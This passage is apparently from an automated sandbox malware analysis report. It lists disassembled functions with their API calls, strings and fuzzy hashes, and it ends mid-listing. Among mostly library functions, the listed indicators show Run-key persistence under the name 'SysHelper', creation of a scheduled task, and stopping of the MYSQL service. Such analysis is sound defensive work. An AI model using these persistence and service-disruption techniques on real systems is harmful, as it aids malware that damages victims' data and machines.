Instruction Fuzzy Hash: 0F417175944700EBD3605BB59C4AB2BBBFCFF8A710F10451AFA54D62A1E7B59800CBA2

Function 007E35B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 007E36AA
_strncmp.LIBCMT ref: 007E36DA
_strncmp.LIBCMT ref: 007E3835
_strncmp.LIBCMT ref: 007E3946
_strncmp.LIBCMT ref: 007E39EA
_strncmp.LIBCMT ref: 007E3A06
_strncmp.LIBCMT ref: 007E3A27

Strings

-----END , xrefs: 007E382F, 007E3940, 007E39E4
.\crypto\pem\pem_lib.c, xrefs: 007E3709, 007E374F, 007E3791, 007E3A69, 007E3B02, 007E3B62, 007E3B85, 007E3BDA
-----, xrefs: 007E36D4, 007E3A21
, xrefs: 007E3A90
-----BEGIN , xrefs: 007E36A4

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: 8a9270d817301e88750acf8fa9681297ce0ac87afdcab96834625b9545433f30
Instruction ID: 09a87ff40a6c8c79ddfa04496da5d95618d1c28c37969f47d76f1a94754639d5
Opcode Fuzzy Hash: 8a9270d817301e88750acf8fa9681297ce0ac87afdcab96834625b9545433f30
Instruction Fuzzy Hash: CFF1D6B1609381ABD721DA25CC4AF5BB7D9AB59704F040829F98DD7383E778DA0487A3

Function 007A5A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 007A5AAE

Part of subcall function 007A8C96: __calloc_impl.LIBCMT ref: 007A8CA5

__calloc_crt.LIBCMT ref: 007A5AD2
_free.LIBCMT ref: 007A5AE0
__calloc_crt.LIBCMT ref: 007A5AEE
_free.LIBCMT ref: 007A5AFE
_free.LIBCMT ref: 007A5B04
__copytlocinfo_nolock.LIBCMT ref: 007A5B13
__wsetlocale_nolock.LIBCMT ref: 007A5B20
__setmbcp_nolock.LIBCMT ref: 007A5B34
_free.LIBCMT ref: 007A5B42
___removelocaleref.LIBCMT ref: 007A5B49
___freetlocinfo.LIBCMT ref: 007A5B50
_free.LIBCMT ref: 007A5B56

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 3bf0b4c3c67fdf1bcdb87a2e907e529ba97229d027c02d5ee29a9265f1b62a62
Instruction ID: bf31bc4565408a02c80a002692a84ec6959c9e5a0af70d8e59caccb94f5ad54d
Opcode Fuzzy Hash: 3bf0b4c3c67fdf1bcdb87a2e907e529ba97229d027c02d5ee29a9265f1b62a62
Instruction Fuzzy Hash: 6D21F675208A01EBE7217F64DC0AE0FBFD4DFC3B20B108729F45455192EA7A9810DBB1

Function 007A7B21 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 007A7B29
_free.LIBCMT ref: 007A7B42

Part of subcall function 007A0BED: RtlFreeHeap.NTDLL(00000000,00000000,?,007A507F,00000000,00000001,00000000,?,?,?,007B0D1A,007CF284,?), ref: 007A0C01
Part of subcall function 007A0BED: GetLastError.KERNEL32(00000000,?,007A507F,00000000,00000001,00000000,?,?,?,007B0D1A,007CF284,?), ref: 007A0C13

_free.LIBCMT ref: 007A7B55
_free.LIBCMT ref: 007A7B73
_free.LIBCMT ref: 007A7B85
_free.LIBCMT ref: 007A7B96
_free.LIBCMT ref: 007A7BA1
_free.LIBCMT ref: 007A7BC5
EncodePointer.KERNEL32(013BB690), ref: 007A7BCC
_free.LIBCMT ref: 007A7BE1
_free.LIBCMT ref: 007A7BF7
_free.LIBCMT ref: 007A7C1F

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: 01ee2079aad72bbc33230f2d0ee82c2001990496883b888fed63e0dc694d756d
Instruction ID: 7d6612650862ee21db8c3d1b938335a43aff8e0e0c93fc52cdaef0541c2546aa
Opcode Fuzzy Hash: 01ee2079aad72bbc33230f2d0ee82c2001990496883b888fed63e0dc694d756d
Instruction Fuzzy Hash: CC217CF6909250CFDB247F55AD849097768FB86B28318063BEA54972A0CA796C80CFE4

Function 00791B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00791BB0
CoCreateInstance.OLE32(0084E908,00000000,00000001,0084D568,00000000), ref: 00791BC8
CoUninitialize.OLE32 ref: 00791BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00791C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00791C22
lstrcatW.KERNEL32(?,00880050), ref: 00791C3A
lstrcatW.KERNEL32(?), ref: 00791C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00791C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00791C7A

Strings

\shell32.dll, xrefs: 00791C6E

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 7da784302605bfc5b25d963eb7752981b3a5f4ac943d6877fe489035a937be44
Instruction ID: 4f97fa2b800712e8eab3c03a51eef6332d14ae08fbd940209df6dcbe0943e059
Opcode Fuzzy Hash: 7da784302605bfc5b25d963eb7752981b3a5f4ac943d6877fe489035a937be44
Instruction Fuzzy Hash: 57414B75A40219AFDB10DFA4DC88FAA7BBCFF49704F104499B605EB250D7B4AE45CB60

Function 007D49A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,007D4B72), ref: 007D49C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 007D49D7
GetDesktopWindow.USER32 ref: 007D49FB
GetProcessWindowStation.USER32(?,007D4B72), ref: 007D4A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,007D4B72), ref: 007D4A1C
GetLastError.KERNEL32(?,007D4B72), ref: 007D4A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,007D4B72), ref: 007D4A65
_wcsstr.LIBCMT ref: 007D4A8A

Strings

_OPENSSL_isservice, xrefs: 007D49D1
Service-0x, xrefs: 007D4A80

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 840a0766155daf7c9dd08a82c5ade8894f4916f0813900a39b86c132cc50e50a
Instruction ID: 5392b76fd1da5227c610c9cdff00d5844ce27697d9dc37101d42b578a393cc81
Opcode Fuzzy Hash: 840a0766155daf7c9dd08a82c5ade8894f4916f0813900a39b86c132cc50e50a
Instruction Fuzzy Hash: 83319435A40105ABDB209FBAEC466AE77B8FB85720F104266E816D72E0EB349904CB51

Function 007D4AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,007D4C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,007D480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,007D1D37,00000000,0078CDAE,00000001,00000001), ref: 007D4AFA
GetFileType.KERNEL32(00000000), ref: 007D4B05
__vfwprintf_p.LIBCMT ref: 007D4B27

Part of subcall function 007ABDCC: _vfprintf_helper.LIBCMT ref: 007ABDDF

vswprintf.LIBCMT ref: 007D4B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 007D4B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 007D4BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 007D4BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 007D4BD3

Strings

OpenSSL: FATAL, xrefs: 007D4BC7
OPENSSL, xrefs: 007D4B77

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 98c06a27742af7ecf93d613374c65b368017bbc8d12c2b9d25145ff17469343e
Instruction ID: b2d6a8309b2bccbac349516344b067c4a11eb39cec9113d40495e0a7e9ba997b
Opcode Fuzzy Hash: 98c06a27742af7ecf93d613374c65b368017bbc8d12c2b9d25145ff17469343e
Instruction Fuzzy Hash: 1621B371648300ABE770AB60CC4BFEB77A8BF99700F40491AB699C62D0EBB99444C753

Function 00792360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00792389
_memset.LIBCMT ref: 007923B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 007923DE
RegCloseKey.ADVAPI32(?), ref: 007923E7
GetCommandLineW.KERNEL32 ref: 007923F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 007923FF
lstrcpyW.KERNEL32(?,00000000), ref: 0079240E
lstrcmpW.KERNEL32(?,?), ref: 00792422

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0079237F
SysHelper, xrefs: 007923D6

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: 3ed35ceed91acec244c26d6ca7652c8a10f67efc8e528c23cf7a8eb6ef81b5ab
Instruction ID: ca3792892987e7ebde02d5b5beb8e60e069caa7895d4498f121105a4e791ca31
Opcode Fuzzy Hash: 3ed35ceed91acec244c26d6ca7652c8a10f67efc8e528c23cf7a8eb6ef81b5ab
Instruction Fuzzy Hash: 4B11477690020CEBDB50DFA0DC49FEA77BCBB05304F0045A5B609E2151EBB89A88DB50

Function 00798000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 007980B9
_memmove.LIBCMT ref: 00798124
_memmove.LIBCMT ref: 007981A8
_memmove.LIBCMT ref: 00798221
_memmove.LIBCMT ref: 00798288
_memmove.LIBCMT ref: 007982C6
_memmove.LIBCMT ref: 00798305

Strings

invalid string position, xrefs: 00798342
string too long, xrefs: 00798338

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: ac9309645bf7ac91294604ff9e93a2e654bf9a510889a0fb2d6031dd3b1b6b68
Instruction ID: 8da76a678fa69823b587e62b99211d28f4dced602b1c32ceb3b0c79ee6d264e7
Opcode Fuzzy Hash: ac9309645bf7ac91294604ff9e93a2e654bf9a510889a0fb2d6031dd3b1b6b68
Instruction Fuzzy Hash: F8C17A71600209DFDF58CF0CE88196E77A6FF86704B24492DE892CB742DB38ED558B96

Function 0078DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0078DAEB
CoCreateInstance.OLE32(00854F6C,00000000,00000001,00854F3C,?,?,0084A948,000000FF), ref: 0078DB0B
lstrcpyW.KERNEL32(?,?,?,?,?,?,?,0084A948,000000FF), ref: 0078DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,0084A948,000000FF), ref: 0078DBE3
_memset.LIBCMT ref: 0078DC38
CoUninitialize.OLE32 ref: 0078DC92

Strings

Time Trigger Task, xrefs: 0078DB24, 0078DB34, 0078DB52
Comment, xrefs: 0078DBFF
--Task, xrefs: 0078DBB5

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: c122394a521d7b4b2cba89600ab1b77c1a51b6f50c9ffb9cea443720568f34e9
Instruction ID: 889d6ea58d43926a55a25ceebb24e9903276ef7f135836e0dffba31b1fd1868f
Opcode Fuzzy Hash: c122394a521d7b4b2cba89600ab1b77c1a51b6f50c9ffb9cea443720568f34e9
Instruction Fuzzy Hash: 4A510370A40209AFDB00DF94C889FAE7BB9FF88B05F108558F515EB291DB79A949CF50

Function 00791A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00791A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00791A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00791A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00791A5B
Sleep.KERNEL32(?), ref: 00791A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00791A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00791A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00791AA1

Strings

MYSQL, xrefs: 00791A2C

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 5d9ae5894d438bc59715f45327d869e0459d9aaa5a7326c937dcb9b3de0c3335
Instruction ID: 1b7c04a23019ed7542cb490ebd31517f48ce27638528b6296c15d515129ef115
Opcode Fuzzy Hash: 5d9ae5894d438bc59715f45327d869e0459d9aaa5a7326c937dcb9b3de0c3335
Instruction Fuzzy Hash: E611C635A02606ABDF205B95AC48FAF77BDEF46751F440011FA00E2150D738DD45CBA4

Function 007CF26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 007CF27F

Part of subcall function 007B0CFC: std::exception::_Copy_str.LIBCMT ref: 007B0D15

__CxxThrowException@8.LIBCMT ref: 007CF294

Part of subcall function 007B0ECA: RaiseException.KERNEL32(?,?,007CF299,?,?,?,?,?,?,?,007CF299,?,00888238,?), ref: 007B0F1F

std::exception::exception.LIBCMT ref: 007CF2AD
__CxxThrowException@8.LIBCMT ref: 007CF2C2
std::regex_error::regex_error.LIBCPMT ref: 007CF2D4

Part of subcall function 007CEF74: std::exception::exception.LIBCMT ref: 007CEF8E

__CxxThrowException@8.LIBCMT ref: 007CF2E2
std::exception::exception.LIBCMT ref: 007CF2FB
__CxxThrowException@8.LIBCMT ref: 007CF310

Strings

bad function call, xrefs: 007CF316

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: 0981eaf14d46de6a6799545b68d3ea793b40a91dd010033ff76b07d4d85dcab8
Instruction ID: 38ed2471f54364000a4b6771553c3aac90fc67dd44997791965dec298d59c14c
Opcode Fuzzy Hash: 0981eaf14d46de6a6799545b68d3ea793b40a91dd010033ff76b07d4d85dcab8
Instruction Fuzzy Hash: B411977494020DBBCB00FFA4C559DDEBB78EA04344F808566BD2497641EB78A25D8B91

Function 007E5480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 007E54C8
GetLastError.KERNEL32(?,?,00000000), ref: 007E54D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 007E54F7
GetLastError.KERNEL32(?,?,00000000), ref: 007E5503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 007E5531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 007E555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 007E55F5

Strings

',', xrefs: 007E560B
.\crypto\bio\bss_file.c, xrefs: 007E55F0, 007E562F, 007E5640
fopen(', xrefs: 007E5611

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: f81bfdaa3a15dcd388d7a2f2cfaed5f599d8f836c7b36433fd6860e25a8f6d4e
Instruction ID: 433771e3eade15d36a44e5b1fdc1dd493f9aa05bb81a1946f124600851e8877d
Opcode Fuzzy Hash: f81bfdaa3a15dcd388d7a2f2cfaed5f599d8f836c7b36433fd6860e25a8f6d4e
Instruction Fuzzy Hash: 04514D75B41608FBEB206B658C07FBE776AFF4AB54F000165FA01EA2C1DA6D5D0187A1

Function 007A5B6E Relevance: 15.1, APIs: 10, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 007A5BF8
__lock.LIBCMT ref: 007A5C0E
__copytlocinfo_nolock.LIBCMT ref: 007A5C1F
